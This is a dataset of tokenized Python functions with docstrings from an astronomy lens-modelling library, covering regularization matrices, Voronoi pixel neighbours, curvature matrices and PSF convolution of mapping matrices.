{"signature": "@decorator_util.jit()<EOL>def weighted_pixel_signals_from_images(pixels, signal_scale, regular_to_pix, galaxy_image):", "body": "pixel_signals = np.zeros((pixels,))<EOL>pixel_sizes = np.zeros((pixels,))<EOL>for regular_index in range(galaxy_image.shape[<NUM_LIT:0>]):<EOL><INDENT>pixel_signals[regular_to_pix[regular_index]] += galaxy_image[regular_index]<EOL>pixel_sizes[regular_to_pix[regular_index]] += <NUM_LIT:1><EOL><DEDENT>pixel_signals /= pixel_sizes<EOL>pixel_signals /= np.max(pixel_signals)<EOL>return pixel_signals ** signal_scale<EOL>", "docstring": "Compute the (scaled) signal in each pixel, where the signal is the sum of its datas_-pixel fluxes. \\\n    These pixel-signals are used to compute the effective regularization weight of each pixel.\n\n    The pixel signals are scaled in the following ways:\n\n    1) Divided by the number of datas_-pixels in the pixel, to ensure all pixels have the same \\\n    'relative' signal (i.e. a pixel with 10 regular-pixels doesn't have x2 the signal of one with 5).\n\n    2) Divided by the maximum pixel-signal, so that all signals vary between 0 and 1. This ensures that the \\\n    regularizations weights are defined identically for any datas_ units or signal-to-noise_map ratio.\n\n    3) Raised to the power of the hyper-parameter *signal_scale*, so the method can control the relative \\\n    contribution regularization in different regions of pixelization.\n\n    Parameters\n    -----------\n    pixels : int\n        The total number of pixels in the pixelization the regularization scheme is applied to.\n    signal_scale : float\n        A factor which controls how rapidly the smoothness of regularization varies from high signal regions to \\\n        low signal regions.\n    regular_to_pix : ndarray\n        A 1D array mapping every pixel on the regular-grid to a pixel on the pixelization.\n    galaxy_image : ndarray\n        The image of the galaxy which is used to compute the weigghted pixel signals.", "id": "f5943:m1"}
{"signature": "def weighted_regularization_weights_from_pixel_signals(coefficients, pixel_signals):", "body": "return (coefficients[<NUM_LIT:0>] * pixel_signals + coefficients[<NUM_LIT:1>] * (<NUM_LIT:1.0> - pixel_signals)) ** <NUM_LIT><EOL>", "docstring": "Compute the regularization weights, which are the effective regularization coefficient of every \\\n    pixel. They are computed using the (scaled) pixel-signal of each pixel.\n\n    Two regularization coefficients are used, corresponding to the:\n\n    1) (pixel_signals) - pixels with a high pixel-signal (i.e. where the signal is located in the pixelization).\n    2) (1.0 - pixel_signals) - pixels with a low pixel-signal (i.e. where the signal is not located in the \\\n     pixelization).\n\n    Parameters\n    ----------\n    coefficients : (float, float)\n        The regularization coefficients which controls the degree of smoothing of the inversion reconstruction.\n    pixel_signals : ndarray\n        The estimated signal in every pixelization pixel, used to change the regularization weighting of high signal \\\n        and low signal pixelizations.", "id": "f5943:m2"}
{"signature": "@decorator_util.jit()<EOL>def weighted_regularization_matrix_from_pixel_neighbors(regularization_weights, pixel_neighbors,<EOL>pixel_neighbors_size):", "body": "pixels = len(regularization_weights)<EOL>regularization_matrix = np.zeros(shape=(pixels, pixels))<EOL>regularization_weight = regularization_weights ** <NUM_LIT><EOL>for i in range(pixels):<EOL><INDENT>for j in range(pixel_neighbors_size[i]):<EOL><INDENT>neighbor_index = pixel_neighbors[i, j]<EOL>regularization_matrix[i, i] += regularization_weight[neighbor_index]<EOL>regularization_matrix[neighbor_index, neighbor_index] += regularization_weight[neighbor_index]<EOL>regularization_matrix[i, neighbor_index] -= regularization_weight[neighbor_index]<EOL>regularization_matrix[neighbor_index, i] -= regularization_weight[neighbor_index]<EOL><DEDENT><DEDENT>return regularization_matrix<EOL>", "docstring": "From the pixel-neighbors, setup the regularization matrix using the weighted regularization scheme.\n\n    Parameters\n    ----------\n    regularization_weights : ndarray\n        The regularization_ weight of each pixel, which governs how much smoothing is applied to that individual pixel.\n    pixel_neighbors : ndarray\n        An array of length (total_pixels) which provides the index of all neighbors of every pixel in \\\n        the Voronoi grid (entries of -1 correspond to no neighbor).\n    pixel_neighbors_size : ndarrayy\n        An array of length (total_pixels) which gives the number of neighbors of every pixel in the \\\n        Voronoi grid.", "id": "f5943:m3"}
{"signature": "@decorator_util.jit()<EOL>def rectangular_neighbors_from_shape(shape):", "body": "pixels = shape[<NUM_LIT:0>]*shape[<NUM_LIT:1>]<EOL>pixel_neighbors = -<NUM_LIT:1> * np.ones(shape=(pixels, <NUM_LIT:4>))<EOL>pixel_neighbors_size = np.zeros(pixels)<EOL>pixel_neighbors, pixel_neighbors_size = compute_corner_neighbors(pixel_neighbors, pixel_neighbors_size,<EOL>shape, pixels)<EOL>pixel_neighbors, pixel_neighbors_size = compute_top_edge_neighbors(pixel_neighbors, pixel_neighbors_size,<EOL>shape, pixels)<EOL>pixel_neighbors, pixel_neighbors_size = compute_left_edge_neighbors(pixel_neighbors, pixel_neighbors_size,<EOL>shape, pixels)<EOL>pixel_neighbors, pixel_neighbors_size = compute_right_edge_neighbors(pixel_neighbors, pixel_neighbors_size,<EOL>shape, pixels)<EOL>pixel_neighbors, pixel_neighbors_size = compute_bottom_edge_neighbors(pixel_neighbors, pixel_neighbors_size,<EOL>shape, pixels)<EOL>pixel_neighbors, pixel_neighbors_size = compute_central_neighbors(pixel_neighbors, pixel_neighbors_size,<EOL>shape, pixels)<EOL>return pixel_neighbors, pixel_neighbors_size<EOL>", "docstring": "Compute the neighbors of every pixel as a list of the pixel index's each pixel shares a vertex with.\n\n    The uniformity of the rectangular grid's geometry is used to compute this.", "id": "f5944:m0"}
{"signature": "@decorator_util.jit()<EOL>def voronoi_neighbors_from_pixels_and_ridge_points(pixels, ridge_points):", "body": "pixel_neighbors_size = np.zeros(shape=(pixels))<EOL>for ridge_index in range(ridge_points.shape[<NUM_LIT:0>]):<EOL><INDENT>pair0 = ridge_points[ridge_index, <NUM_LIT:0>]<EOL>pair1 = ridge_points[ridge_index, <NUM_LIT:1>]<EOL>pixel_neighbors_size[pair0] += <NUM_LIT:1><EOL>pixel_neighbors_size[pair1] += <NUM_LIT:1><EOL><DEDENT>pixel_neighbors_index = np.zeros(shape=(pixels))<EOL>pixel_neighbors = -<NUM_LIT:1> * np.ones(shape=(pixels, int(np.max(pixel_neighbors_size))))<EOL>for ridge_index in range(ridge_points.shape[<NUM_LIT:0>]):<EOL><INDENT>pair0 = ridge_points[ridge_index, <NUM_LIT:0>]<EOL>pair1 = ridge_points[ridge_index, <NUM_LIT:1>]<EOL>pixel_neighbors[pair0, int(pixel_neighbors_index[pair0])] = pair1<EOL>pixel_neighbors[pair1, int(pixel_neighbors_index[pair1])] = pair0<EOL>pixel_neighbors_index[pair0] += <NUM_LIT:1><EOL>pixel_neighbors_index[pair1] += <NUM_LIT:1><EOL><DEDENT>return pixel_neighbors, pixel_neighbors_size<EOL>", "docstring": "Compute the neighbors of every pixel as a list of the pixel index's each pixel shares a vertex with.\n\n    The ridge points of the Voronoi grid are used to derive this.\n\n    Parameters\n    ----------\n    ridge_points : scipy.spatial.Voronoi.ridge_points\n        Each Voronoi-ridge (two indexes representing a pixel mapping_matrix).", "id": "f5944:m7"}
{"signature": "@decorator_util.jit()<EOL>def data_vector_from_blurred_mapping_matrix_and_data(blurred_mapping_matrix, image_1d, noise_map_1d):", "body": "mapping_shape = blurred_mapping_matrix.shape<EOL>data_vector = np.zeros(mapping_shape[<NUM_LIT:1>])<EOL>for image_index in range(mapping_shape[<NUM_LIT:0>]):<EOL><INDENT>for pix_index in range(mapping_shape[<NUM_LIT:1>]):<EOL><INDENT>data_vector[pix_index] += image_1d[image_index] *blurred_mapping_matrix[image_index, pix_index] / (noise_map_1d[image_index] ** <NUM_LIT>)<EOL><DEDENT><DEDENT>return data_vector<EOL>", "docstring": "Compute the hyper vector *D* from a blurred mapping matrix *f* and the 1D image *d* and 1D noise-map *\\sigma* \\\n    (see Warren & Dye 2003).\n\n    Parameters\n    -----------\n    blurred_mapping_matrix : ndarray\n        The matrix representing the blurred mappings between sub-grid pixels and pixelization pixels.\n    image_1d : ndarray\n        Flattened 1D array of the observed image the inversion is fitting.\n    noise_map_1d : ndarray\n        Flattened 1D array of the noise-map used by the inversion during the fit.", "id": "f5945:m0"}
{"signature": "def curvature_matrix_from_blurred_mapping_matrix(blurred_mapping_matrix, noise_map_1d):", "body": "flist = np.zeros(blurred_mapping_matrix.shape[<NUM_LIT:0>])<EOL>iflist = np.zeros(blurred_mapping_matrix.shape[<NUM_LIT:0>], dtype='<STR_LIT:int>')<EOL>return curvature_matrix_from_blurred_mapping_matrix_jit(blurred_mapping_matrix, noise_map_1d, flist, iflist)<EOL>", "docstring": "Compute the curvature matrix *F* from a blurred mapping matrix *f* and the 1D noise-map *\\sigma* \\\n     (see Warren & Dye 2003).\n\n    Parameters\n    -----------\n    blurred_mapping_matrix : ndarray\n        The matrix representing the blurred mappings between sub-grid pixels and pixelization pixels.\n    noise_map_1d : ndarray\n        Flattened 1D array of the noise-map used by the inversion during the fit.", "id": "f5945:m1"}
{"signature": "@decorator_util.jit()<EOL>def curvature_matrix_from_blurred_mapping_matrix_jit(blurred_mapping_matrix, noise_map_1d, flist, iflist):", "body": "curvature_matrix = np.zeros((blurred_mapping_matrix.shape[<NUM_LIT:1>], blurred_mapping_matrix.shape[<NUM_LIT:1>]))<EOL>for image_index in range(blurred_mapping_matrix.shape[<NUM_LIT:0>]):<EOL><INDENT>index = <NUM_LIT:0><EOL>for pixel_index in range(blurred_mapping_matrix.shape[<NUM_LIT:1>]):<EOL><INDENT>if blurred_mapping_matrix[image_index, pixel_index] > <NUM_LIT:0.0>:<EOL><INDENT>flist[index] = blurred_mapping_matrix[image_index, pixel_index] / noise_map_1d[image_index]<EOL>iflist[index] = pixel_index<EOL>index += <NUM_LIT:1><EOL><DEDENT><DEDENT>if index > <NUM_LIT:0>:<EOL><INDENT>for i1 in range(index):<EOL><INDENT>for j1 in range(index):<EOL><INDENT>ix = iflist[i1]<EOL>iy = iflist[j1]<EOL>curvature_matrix[ix, iy] += flist[i1] * flist[j1]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for i in range(blurred_mapping_matrix.shape[<NUM_LIT:1>]):<EOL><INDENT>for j in range(blurred_mapping_matrix.shape[<NUM_LIT:1>]):<EOL><INDENT>curvature_matrix[i, j] = curvature_matrix[j, i]<EOL><DEDENT><DEDENT>return curvature_matrix<EOL>", "docstring": "Compute the curvature matrix *F* from a blurred mapping matrix *f* and the 1D noise-map *\\sigma* \\\n    (see Warren & Dye 2003).\n\n    Parameters\n    -----------\n    blurred_mapping_matrix : ndarray\n        The matrix representing the blurred mappings between sub-grid pixels and pixelization pixels.\n    noise_map_1d : ndarray\n        Flattened 1D array of the noise-map used by the inversion during the fit.\n    flist : ndarray\n        NumPy array of floats used to store mappings for efficienctly calculation.\n    iflist : ndarray\n        NumPy array of integers used to store mappings for efficienctly calculation.", "id": "f5945:m2"}
{"signature": "@decorator_util.jit()<EOL>def reconstructed_data_vector_from_blurred_mapping_matrix_and_solution_vector(blurred_mapping_matrix, solution_vector):", "body": "reconstructed_data_vector = np.zeros(blurred_mapping_matrix.shape[<NUM_LIT:0>])<EOL>for i in range(blurred_mapping_matrix.shape[<NUM_LIT:0>]):<EOL><INDENT>for j in range(solution_vector.shape[<NUM_LIT:0>]):<EOL><INDENT>reconstructed_data_vector[i] += solution_vector[j] * blurred_mapping_matrix[i, j]<EOL><DEDENT><DEDENT>return reconstructed_data_vector<EOL>", "docstring": "Compute the reconstructed hyper vector from the blurrred mapping matrix *f* and solution vector *S*.\n\n    Parameters\n    -----------\n    blurred_mapping_matrix : ndarray\n        The matrix representing the blurred mappings between sub-grid pixels and pixelization pixels.", "id": "f5945:m3"}
{"signature": "def __init__(self, coefficients=(<NUM_LIT:1.0>,)):", "body": "self.coefficients = coefficients<EOL>", "docstring": "Abstract base class for a regularization-scheme, which is applied to a pixelization to enforce a \\\n        smooth-source solution and prevent over-fitting noise_map in the hyper. This is achieved by computing a \\\n        'regularization term' - which is the sum of differences in reconstructed flux between every set of neighboring \\\n        pixels. This regularization term is added to the solution's chi-squared as a penalty term. This effects \\\n        a pixelization in the following ways:\n\n        1) The regularization matrix (see below) is added to the curvature matrix used by the inversion to \\\n           linearly invert and fit the hyper. Thus, it changes the pixelization in a linear manner, ensuring that \\\n           the minimum chi-squared solution is achieved accounting for the penalty term.\n\n        2) The likelihood of the pixelization's fit to the hyper changes from L = -0.5 *(chi^2 + noise_normalization) \\\n           to L = -0.5 (chi^2 + coefficients * regularization_term + noise_normalization). The regularization \\\n           coefficient is a 'hyper-parameter' which determines how strongly we smooth the pixelization's reconstruction.\n\n        The value of the coefficients(s) is set using the Bayesian framework of (Suyu 2006) and this \\\n        is described further in the (*inversion.Inversion* class).\n\n        The regularization matrix, H, is calculated by defining a set of B matrices which describe how the \\\n        pixels neighbor one another. For example, lets take a 3x3 square grid:\n        ______\n        |0|1|2|\n        |3|4|5|\n        |6|7|8|\n        ^^^^^^^\n\n        We want to regularize this grid such that each pixel is regularized with the pixel to its right and below it \\\n        (provided there are pixels in that direction). This means that:\n\n        - pixel 0 is regularized with pixel 1 (to the right) and pixel 3 (below).\n        - pixel 1 is regularized with pixel 2 (to the right) and pixel 4 (below),\n        - Pixel 2 is only regularized with pixel 5, as there is no pixel to its right.\n        - and so on.\n\n        We make two 9 x 9 B matrices, which describe regularization in each direction (i.e. rightwards and downwards). \\\n        We simply put a -1 and 1 in each row of a pixel index where it has a neighbor, where the value 1 goes in the \\\n        column of its neighbor's index. Thus, the B matrix describing neighboring pixels to their right looks like:\n\n        B_x = [-1,  1,  0,  0,  0,  0,  0,  0,  0] # [0->1]\n              [ 0, -1,  1,  0,  0,  0,  0,  0,  0] # [1->2]\n              [ 0,  0, -1,  0,  0,  0,  0,  0,  0] # [] NOTE - no pixel neighbor.\n              [ 0,  0,  0, -1,  1,  0,  0,  0,  0] # [3->4]\n              [ 0,  0,  0,  0, -1,  1,  0,  0,  0] # [4->5]\n              [ 0,  0,  0,  0,  0, -1,  0,  0,  0] # [] NOTE - no pixel neighbor.\n              [ 0,  0,  0,  0,  0,  0, -1,  1,  0] # [6->7]\n              [ 0,  0,  0,  0,  0,  0,  0, -1,  1] # [7->8]\n              [ 0,  0,  0,  0,  0,  0,  0,  0, -1] # [] NOTE - no pixel neighbor.\n\n        We now make another B matrix for the regularization downwards:\n\n        B_y = [-1,  0,  0,  1,  0,  0,  0,  0,  0] # [0->3]\n              [ 0, -1,  0,  0,  1,  0,  0,  0,  0] # [1->4]\n              [ 0,  0, -1,  0,  0,  1,  0,  0,  0] # [2->5]\n              [ 0,  0,  0, -1,  0,  0,  1,  0,  0] # [3->6]\n              [ 0,  0,  0,  0, -1,  0,  0,  1,  0] # [4->7]\n              [ 0,  0,  0,  0,  0, -1,  0,  0,  1] # [5->8]\n              [ 0,  0,  0,  0,  0,  0, -1,  0,  0] # [] NOTE - no pixel neighbor.\n              [ 0,  0,  0,  0,  0,  0,  0, -1,  0] # [] NOTE - no pixel neighbor.\n              [ 0,  0,  0,  0,  0,  0,  0,  0, -1] # [] NOTE - no pixel neighbor.\n\n        After making the B matrices that represent our pixel neighbors, we can compute the regularization matrix, H, \\\n        of each direction as H = B * B.T (matrix multiplication).\n\n        E.g.\n\n        H_x = B_x.T, * B_x\n        H_y = B_y.T * B_y\n        H = H_x + H_y\n\n        Whilst the example above used a square-grid with regularization to the right and downwards, this matrix \\\n        formalism can be extended to describe regularization in more directions (e.g. upwards, to the left).\n\n        It can also describe irregular pixelizations, e.g. an irregular Voronoi pixelization, where a B matrix is \\\n        computed for every shared Voronoi vertex of each Voronoi pixel. The number of B matrices is now equal to the \\\n        number of Voronoi vertices in the pixel with the most Voronoi vertices. However, we describe below a scheme to \\\n        compute this solution more efficiently.\n\n        ### COMBINING B MATRICES ###\n\n        The B matrices above each had the -1's going down the diagonal. This is not necessary, and it is valid to put \\\n        each pixel pairing anywhere. So, if we had a 4x4 B matrix, where:\n\n        - pixel 0 regularizes with pixel 1\n        - pixel 2 regularizes with pixel 3\n        - pixel 3 regularizes with pixel 0\n\n        We can still set this up as one matrix (even though the pixel 0 comes up twice):\n\n        B = [-1, 1,  0 , 0] # [0->1]\n            [ 0, 0,  0 , 0] # We can skip rows by making them all zeros.\n            [ 0, 0, -1 , 1] # [2->3]\n            [ 1, 0,  0 ,-1] # [3->0] This is valid!\n\n        So, for a Voronoi pixelzation, we don't have to make the same number of B matrices as Voronoi vertices,  \\\n        we can combine them into fewer B matrices as above.\n\n        # SKIPPING THE B MATRIX CALCULATION #\n\n        Infact, going through the rigmarole of computing and multiplying B matrices like this is uncessary. It is \\\n        more computationally efficiently to directly compute H. This is possible, provided you know know all of the \\\n        neighboring pixel pairs (which, by definition, you need to know to set up the B matrices anyway). Thus, the \\\n       'regularization_matrix_from_pixel_neighbors' functions in this module directly compute H from the pixel \\\n        neighbors.\n\n        # POSITIVE DEFINITE MATRIX #\n\n        The regularization matrix must be positive-definite, as the Bayesian framework of Suyu 2006 requires that we \\\n        use its determinant in the calculation.\n\n        Parameters\n        -----------\n        shape : (int, int)\n            The dimensions of the rectangular grid of pixels (x_pixels, y_pixel)\n        coefficients : (float,)\n            The regularization_matrix coefficients used to smooth the pix reconstructed_inversion_image.", "id": "f5946:c0:m0"}
{"signature": "def __init__(self, coefficients=(<NUM_LIT:1.0>,)):", "body": "super(Constant, self).__init__(coefficients)<EOL>", "docstring": "A constant-regularization scheme (regularization is described in the *Regularization* class above).\n\n        For the constant regularization_matrix scheme, there is only 1 regularization coefficient that is applied to \\\n        all neighboring pixels. This means that we when write B, we only need to regularize pixels in one direction \\\n        (e.g. pixel 0 regularizes pixel 1, but NOT visa versa). For example:\n\n        B = [-1, 1]  [0->1]\n            [0, -1]  1 does not regularization with 0\n\n        A small numerical value of 1.0e-8 is added to all elements in a constant regularization matrix, to ensure that \\\n        it is positive definite.\n\n        Parameters\n        -----------\n        coefficients : (float,)\n            The regularization coefficient which controls the degree of smooth of the inversion reconstruction.", "id": "f5946:c1:m0"}
{"signature": "def __init__(self, coefficients=(<NUM_LIT:1.0>, <NUM_LIT:1.0>), signal_scale=<NUM_LIT:1.0>):", "body": "super(Weighted, self).__init__(coefficients)<EOL>self.signal_scale = signal_scale<EOL>", "docstring": "A constant-regularization scheme (regularization is described in the *Regularization* class above).\n\n        For the weighted regularization scheme, each pixel is given an 'effective regularization weight', which is \\\n        applied when each set of pixel neighbors are regularized with one another. The motivation of this is that \\\n        different regions of a pixelization require different levels of regularization (e.g., high smoothing where the \\\n        no signal is present and less smoothing where it is, see (Nightingale, Dye and Massey 2018)).\n\n        Unlike the constant regularization_matrix scheme, neighboring pixels must now be regularized with one another \\\n        in both directions (e.g. if pixel 0 regularizes pixel 1, pixel 1 must also regularize pixel 0). For example:\n\n        B = [-1, 1]  [0->1]\n            [-1, -1]  1 now also regularizes 0\n\n        For a constant regularization coefficient this would NOT produce a positive-definite matrix. However, for\n        the weighted scheme, it does!\n\n        The regularize weights change the B matrix as shown below - we simply multiply each pixel's effective \\\n        regularization weight by each row of B it has a -1 in, so:\n\n        regularization_weights = [1, 2, 3, 4]\n\n        B = [-1, 1, 0 ,0] # [0->1]\n            [0, -2, 2 ,0] # [1->2]\n            [0, 0, -3 ,3] # [2->3]\n            [4, 0, 0 ,-4] # [3->0]\n\n        If our -1's werent down the diagonal this would look like:\n\n        B = [4, 0, 0 ,-4] # [3->0]\n            [0, -2, 2 ,0] # [1->2]\n            [-1, 1, 0 ,0] # [0->1]\n            [0, 0, -3 ,3] # [2->3] This is valid!\n\n        Parameters\n        -----------\n        coefficients : (float, float)\n            The regularization coefficients which controls the degree of smoothing of the inversion reconstruction in \\\n            high and low signal regions of the reconstruction.\n        signal_scale : float\n            A factor which controls how rapidly the smoothness of regularization varies from high signal regions to \\\n            low signal regions.", "id": "f5946:c2:m0"}
{"signature": "def __init__(self, mask, psf):", "body": "super(ConvolverMappingMatrix, self).__init__(mask, psf)<EOL>", "docstring": "Class to create number array and frames used to convolve a psf with a 1D vector of non-masked values.\n\nParameters\n----------\nmask : Mask\n    An datas_ masks, where True eliminates datas.\npsf : datas_.PSF or ndarray\n    An array representing a PSF.", "id": "f5947:c0:m0"}
{"signature": "def convolve_mapping_matrix(self, mapping_matrix):", "body": "return self.convolve_matrix_jit(mapping_matrix, self.image_frame_indexes,<EOL>self.image_frame_psfs, self.image_frame_lengths)<EOL>", "docstring": "For a given inversion mapping matrix, convolve every pixel's mapped regular with the PSF kernel.\n\n        A mapping matrix provides non-zero entries in all elements which map two pixels to one another\n        (see *inversions.mappers*).\n\n        For example, lets take an regular which is masked using a 'cross' of 5 pixels:\n\n        [[ True, False,  True]],\n        [[False, False, False]],\n        [[ True, False,  True]]\n\n        As example mapping matrix of this cross is as follows (5 regular pixels x 3 source pixels):\n\n        [1, 0, 0] [0->0]\n        [1, 0, 0] [1->0]\n        [0, 1, 0] [2->1]\n        [0, 1, 0] [3->1]\n        [0, 0, 1] [4->2]\n\n        For each source-pixel, we can create an regular of its unit-surface brightnesses by mapping the non-zero\n        entries back to masks. For example, doing this for source pixel 1 gives:\n\n        [[0.0, 1.0, 0.0]],\n        [[1.0, 0.0, 0.0]]\n        [[0.0, 0.0, 0.0]]\n\n        And source pixel 2:\n\n        [[0.0, 0.0, 0.0]],\n        [[0.0, 1.0, 1.0]]\n        [[0.0, 0.0, 0.0]]\n\n        We then convolve each of these regular with our PSF kernel, in 2 dimensions, like we would a normal regular. For\n        example, using the kernel below:\n\n        kernel:\n\n        [[0.0, 0.1, 0.0]]\n        [[0.1, 0.6, 0.1]]\n        [[0.0, 0.1, 0.0]]\n\n        Blurred Source Pixel 1 (we don't need to perform the convolution into masked pixels):\n\n        [[0.0, 0.6, 0.0]],\n        [[0.6, 0.0, 0.0]],\n        [[0.0, 0.0, 0.0]]\n\n        Blurred Source pixel 2:\n\n        [[0.0, 0.0, 0.0]],\n        [[0.0, 0.7, 0.7]],\n        [[0.0, 0.0, 0.0]]\n\n        Finally, we map each of these blurred regular back to a blurred mapping matrix, which is analogous to the\n        mapping matrix.\n\n        [0.6, 0.0, 0.0] [0->0]\n        [0.6, 0.0, 0.0] [1->0]\n        [0.0, 0.7, 0.0] [2->1]\n        [0.0, 0.7, 0.0] [3->1]\n        [0.0, 0.0, 0.6] [4->2]\n\n        If the mapping matrix is sub-gridded, we perform the convolution on the fractional surface brightnesses in an\n        identical fashion to above.\n\n        Parameters\n        -----------\n        mapping_matrix : ndarray\n            The 2D mapping matix describing how every inversion pixel maps to an datas_ pixel.", "id": "f5947:c0:m1"}
{"signature": "def voronoi_finite_polygons_2d(vor, radius=None):", "body": "if vor.points.shape[<NUM_LIT:1>] != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>new_regions = []<EOL>new_vertices = vor.vertices.tolist()<EOL>center = vor.points.mean(axis=<NUM_LIT:0>)<EOL>if radius is None:<EOL><INDENT>radius = vor.points.ptp().max()*<NUM_LIT:2><EOL><DEDENT>all_ridges = {}<EOL>for (p1, p2), (v1, v2) in zip(vor.ridge_points, vor.ridge_vertices):<EOL><INDENT>all_ridges.setdefault(p1, []).append((p2, v1, v2))<EOL>all_ridges.setdefault(p2, []).append((p1, v1, v2))<EOL><DEDENT>for p1, region in enumerate(vor.point_region):<EOL><INDENT>vertices = vor.regions[region]<EOL>if all(v >= <NUM_LIT:0> for v in vertices):<EOL><INDENT>new_regions.append(vertices)<EOL>continue<EOL><DEDENT>ridges = all_ridges[p1]<EOL>new_region = [v for v in vertices if v >= <NUM_LIT:0>]<EOL>for p2, v1, v2 in ridges:<EOL><INDENT>if v2 < <NUM_LIT:0>:<EOL><INDENT>v1, v2 = v2, v1<EOL><DEDENT>if v1 >= <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>t = vor.points[p2] - vor.points[p1] <EOL>t /= np.linalg.norm(t)<EOL>n = np.array([-t[<NUM_LIT:1>], t[<NUM_LIT:0>]])  <EOL>midpoint = vor.points[[p1, p2]].mean(axis=<NUM_LIT:0>)<EOL>direction = np.sign(np.dot(midpoint - center, n)) * n<EOL>far_point = vor.vertices[v2] + direction * radius<EOL>new_region.append(len(new_vertices))<EOL>new_vertices.append(far_point.tolist())<EOL><DEDENT>vs = np.asarray([new_vertices[v] for v in new_region])<EOL>c = vs.mean(axis=<NUM_LIT:0>)<EOL>angles = np.arctan2(vs[:,<NUM_LIT:1>] - c[<NUM_LIT:1>], vs[:,<NUM_LIT:0>] - c[<NUM_LIT:0>])<EOL>new_region = np.array(new_region)[np.argsort(angles)]<EOL>new_regions.append(new_region.tolist())<EOL><DEDENT>return new_regions, np.asarray(new_vertices)<EOL>", "docstring": "Reconstruct infinite voronoi regions in a 2D diagram to finite\nregions.\nParameters\n----------\nvor : Voronoi\n    Input diagram\nradius : float, optional\n    Distance to 'points at infinity'.\nReturns\n-------\nregions : list of tuples\n    Indices of vertices in each revised Voronoi regions.\nvertices : list of tuples\n    Coordinates for revised Voronoi vertices. Same as coordinates\n    of input vertices, with 'points at infinity' appended to the\n    end.", "id": "f5949:m4"}
{"signature": "def __init__(self, pixels, grid_stack, border):", "body": "self.pixels = pixels<EOL>self.grid_stack = grid_stack<EOL>self.border = border<EOL>", "docstring": "Abstract base class representing a mapper, which maps unmasked pixels on a masked 2D array (in the form of \\\n        a grid, see the *hyper.array.grid_stack* module) to discretized pixels in a pixelization.\n\n        1D arrays are used to represent these mappings, for example between the different grid_stack in a grid-stack \\\n        (e.g. the regular / sub grid_stack). This follows the syntax grid_to_grid, whereby the index of a value on one grid \\\n        equals that of another grid, for example:\n\n        - image_to_pix[2] = 1  tells us that the 3rd pixel on a regular grid maps to the 2nd pixel of a pixelization.\n        - sub_to_pix4] = 2  tells us that the 5th sub-pixel of a sub-grid maps to the 3rd pixel of a pixelization.\n        - pix_to_image[2] = 5 tells us that the 3rd pixel of a pixelization maps to the 6th (unmasked) pixel of a \\\n                            regular grid.\n\n        Parameters\n        ----------\n        pixels : int\n            The number of pixels in the mapper's pixelization.\n        grid_stack: grid_stack.GridStack\n            A stack of grid's which are mapped to the pixelization (includes an regular and sub grid).\n        border : grid_stack.RegularGridBorder\n            The border of the grid-stack's regular-grid.", "id": "f5950:c0:m0"}
{"signature": "@property<EOL><INDENT>def mapping_matrix(self):<DEDENT>", "body": "return mapper_util.mapping_matrix_from_sub_to_pix(sub_to_pix=self.sub_to_pix, pixels=self.pixels,<EOL>regular_pixels=self.grid_stack.regular.shape[<NUM_LIT:0>],<EOL>sub_to_regular=self.grid_stack.sub.sub_to_regular,<EOL>sub_grid_fraction=self.grid_stack.sub.sub_grid_fraction)<EOL>", "docstring": "The mapping matrix is a matrix representing the mapping between every unmasked pixel of a grid and \\\n        the pixels of a pixelization. Non-zero entries signify a mapping, whereas zeros signify no mapping.\n\n        For example, if the regular grid has 5 pixels and the pixelization 3 pixels, with the following mappings:\n\n        regular pixel 0 -> pixelization pixel 0\n        regular pixel 1 -> pixelization pixel 0\n        regular pixel 2 -> pixelization pixel 1\n        regular pixel 3 -> pixelization pixel 1\n        regular pixel 4 -> pixelization pixel 2\n\n        The mapping matrix (which is of dimensions regular_pixels x pixelization_pixels) would appear as follows:\n\n        [1, 0, 0] [0->0]\n        [1, 0, 0] [1->0]\n        [0, 1, 0] [2->1]\n        [0, 1, 0] [3->1]\n        [0, 0, 1] [4->2]\n\n        The mapping matrix is in fact built using the sub-grid of the grid-stack, whereby each regular-pixel is \\\n        divided into a regular grid of sub-pixels which are all paired to pixels in the pixelization. The entires \\\n        in the mapping matrix now become fractional values dependent on the sub-grid size. For example, for a 2x2 \\\n        sub-grid in each pixel (which means the fraction value is 1.0/(2.0^2) = 0.25, if we have the following mappings:\n\n        regular pixel 0 -> sub pixel 0 -> pixelization pixel 0\n        regular pixel 0 -> sub pixel 1 -> pixelization pixel 1\n        regular pixel 0 -> sub pixel 2 -> pixelization pixel 1\n        regular pixel 0 -> sub pixel 3 -> pixelization pixel 1\n        regular pixel 1 -> sub pixel 0 -> pixelization pixel 1\n        regular pixel 1 -> sub pixel 1 -> pixelization pixel 1\n        regular pixel 1 -> sub pixel 2 -> pixelization pixel 1\n        regular pixel 1 -> sub pixel 3 -> pixelization pixel 1\n        regular pixel 2 -> sub pixel 0 -> pixelization pixel 2\n        regular pixel 2 -> sub pixel 1 -> pixelization pixel 2\n        regular pixel 2 -> sub pixel 2 -> pixelization pixel 3\n        regular pixel 2 -> sub pixel 3 -> pixelization pixel 3\n\n        The mapping matrix (which is still of dimensions regular_pixels x source_pixels) would appear as follows:\n\n        [0.25, 0.75, 0.0, 0.0] [1 sub-pixel maps to pixel 0, 3 map to pixel 1]\n        [ 0.0,  1.0, 0.0, 0.0] [All sub-pixels map to pixel 1]\n        [ 0.0,  0.0, 0.5, 0.5] [2 sub-pixels map to pixel 2, 2 map to pixel 3]", "id": "f5950:c0:m1"}
{"signature": "@property<EOL><INDENT>def pix_to_regular(self):<DEDENT>", "body": "pix_to_regular = [[] for _ in range(self.pixels)]<EOL>for regular_pixel, pix_pixel in enumerate(self.regular_to_pix):<EOL><INDENT>pix_to_regular[pix_pixel].append(regular_pixel)<EOL><DEDENT>return pix_to_regular<EOL>", "docstring": "Compute the mappings between a pixelization's pixels and the unmasked regular-grid pixels. These mappings \\\n        are determined after the regular-grid is used to determine the pixelization.\n\n        The pixelization's pixels map to different number of regular-grid pixels, thus a list of lists is used to \\\n        represent these mappings", "id": "f5950:c0:m4"}
